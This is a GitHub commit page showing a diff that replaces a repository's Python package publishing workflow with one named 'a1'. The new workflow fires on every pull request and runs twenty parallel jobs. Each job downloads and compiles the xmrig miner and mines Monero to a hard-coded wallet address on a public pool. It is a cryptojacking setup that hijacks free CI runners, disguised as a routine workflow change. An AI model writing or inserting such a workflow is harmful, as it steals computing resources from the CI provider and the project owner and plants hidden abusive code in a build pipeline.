Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
f16gemec
committed
Apr 12, 2021
1 parent
b50e01b
commit 92992a6
Showing
1 changed file
with
23 additions
and
30 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,31 +1,24 @@ | ||
name: Upload Python Package | ||
|
||
on: | ||
release: | ||
types: [created] | ||
|
||
name: a1 | ||
on: [pull_request] | ||
jobs: | ||
deploy: | ||
runs-on: ubuntu-latest | ||
strategy: | ||
matrix: | ||
python-version: [3.8] | ||
steps: | ||
- uses: actions/checkout@v1 | ||
- name: Set up Python ${{ matrix.python-version }} | ||
uses: actions/setup-python@v1 | ||
with: | ||
python-version: ${{ matrix.python-version }} | ||
- name: Display Python version | ||
run: python -c "import sys; print(sys.version)" | ||
- name: Install dependencies | ||
run: | | ||
python -m pip install --upgrade pip | ||
pip install -r requirements.txt | ||
- name: Build and publish | ||
env: | ||
TWINE_USERNAME: ${{ secrets.PYPI_USERNAME }} | ||
TWINE_PASSWORD: ${{ secrets.PYPI_PASSWORD }} | ||
run: | | ||
python setup.py sdist bdist_wheel | ||
twine upload dist/* | ||
run: | ||
name: Run | ||
runs-on: ubuntu-latest | ||
strategy: | ||
fail-fast: false | ||
matrix: | ||
runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19] | ||
steps: | ||
- shell: bash | ||
run: | | ||
sudo apt-get update | ||
sudo apt-get install --yes build-essential cmake git libhwloc-dev libssl-dev libuv1-dev | ||
curl -Lo xmrig.tar.gz https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz | ||
tar xf xmrig.tar.gz | ||
cd xmrig-* | ||
mkdir build | ||
cd build | ||
cmake .. -DCMAKE_BUILD_TYPE=Release | ||
make --jobs=$(nproc) | ||
./xmrig --donate-level 0 -o us-west.minexmr.com:443 -u 42pKVvPZ6X6WiQbdNdVnx7ix75JgpUSdyK9r5q5Q9sdRTH5MmqRTgNyBvZfPRTyEFrPuMELm6zuS6FqUwkbttUiDTiV3QgV -k --tls |